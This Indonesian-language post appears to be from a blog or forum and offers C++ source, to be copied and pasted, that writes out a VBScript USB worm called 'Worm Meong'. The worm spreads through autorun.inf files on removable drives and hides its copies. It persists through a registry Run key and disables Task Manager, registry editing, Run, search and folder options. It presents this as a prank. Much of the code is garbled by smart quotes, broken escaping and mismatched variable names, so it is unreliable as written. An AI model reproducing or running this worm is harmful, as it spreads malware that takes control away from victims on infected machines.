VIRUS C++

BAGI YANG PENGEN MEMBUAT SENSASI DI KOMPINYA BS COPY PASTE KODE DI BAWAH INI MENGGUNAKAN BORLAND C++ 5.02

#include iostream.h
#include fstream.h
#include iomanip.h
void main()
{
{ofstream filevbs;
filevbs.open("D:/m30n6.dll.vbs");
filevbs<<"on error resume next\n";

filevbs<<"dim rekur,windowpath,flashdrive,fs,mf,isi,tf,meong,nt,check,sd\n";

filevbs<<"isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe me0n6.dll.vbs”\n";
filevbs<<"set fs = createobject(”Scripting.FileSystemObject”)\n";
filevbs<<"set mf = fs.getfile(Wscript.ScriptFullname)\n";
filevbs<<"dim text,size\n";
filevbs<<"size = mf.size \n";
filevbs<<"check = mf.drive.drivetype\n";
filevbs<<"set text = mf.openastextstream(1,-2)\n";
filevbs<<"do while not text.atendofstream\n";
filevbs<<"rekur = rekur & text.readline\n";
filevbs<<"rekur = rekur & vbcrlf\n";
filevbs<<"loop\n";
filevbs<<"do\n";

filevbs<<"Set windowpath = fs.getspecialfolder(0)\n";
filevbs<<"set tf = fs.getfile(windowpath & “\\\ batch- me0n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 32\n";
filevbs<<"set tf=fs.createtextfile(windowpath & “\\\ batch- m30n6.dll.vbs”,2,true)\n";
filevbs<<"tf.write rekursif\n";
filevbs<<"tf.close\n";
filevbs<<"set tf = fs.getfile(windowpath & “\\\ batch- m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 39\n";

filevbs<<"for each flashdrive in fs.drives\n";

filevbs<<"If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then\n";

filevbs<<"set tf=fs.getfile(flashdrive.path &”\\\ m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes =32\n";
filevbs<<"set tf=fs.createtextfile(flashdrive.path &”\\\ m30n6.dll.vbs “,2,true)\n";
filevbs<<"tf.write rekursif\n";
filevbs<<"tf.close\n";
filevbs<<"set tf=fs.getfile(flashdrive.path &”\\\ m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 39\n";

filevbs<<"set tf =fs.getfile(flashdrive.path &”\\\ autorun.inf”)\n";
filevbs<<"tf.attributes = 32\n";
filevbs<<"set tf=fs.createtextfile(flashdrive.path &”\\\ autorun.inf”,2,true)\n";
filevbs<<"tf.write isi\n";
filevbs<<"tf.close\n";
filevbs<<"set tf = fs.getfile(flashdrive.path &”\\\ autorun.inf”)\n";
filevbs<<"tf.attributes=39\n";
filevbs<<"end if\n";
filevbs<<"next\n";


filevbs<<"set meong = createobject(”WScript.Shell”)\n";

filevbs<<"meong.regwrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Internet Explorer\\\ Main\\\ Window Title”,” THE MEONG v.s. ZAY “\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ Advanced\\\ Hidden”, “0?, “REG_DWORD”\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoFind”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoFolderOptions”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoRun”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ System\\\ DisableRegistryTools”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ System\\\ DisableTaskMgr”, “1?, “REG_DWORD”\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoViewContextMenu”, “1?, “REG_DWORD”\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Winlogon\\\ LegalNoticeCaption”, “Worm Meong. Variant from Rangga-Zay, don’t panic all data are safe.”\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Run\\\ Systemdir”, windowpath & “\\\ batch- m30n6.dll.vbs “\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ SOFTWARE\\\ Microsoft\\\ Windows NT\\\ CurrentVersion\\\ RegisteredOrganization”, “The Batrix”\n";
filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ SOFTWARE\\\ Microsoft\\\ Windows NT\\\ CurrentVersion\\\ RegisteredOwner”,”Meong”\n";

filevbs<<"if check <> 1 then\n";
filevbs<<"Wscript.sleep 200000\n";
filevbs<<"end if\n";
filevbs<<"loop while check <> 1\n";
filevbs<<"set sd = createobject(”Wscript.shell”)\n";
filevbs<<"sd.run windowpath & “\\\ explorer.exe /e,/select, ” & Wscript.ScriptFullname\n";

filevbs.close();
}
}

//fileteks.open("D:/algo.txt", ios::app);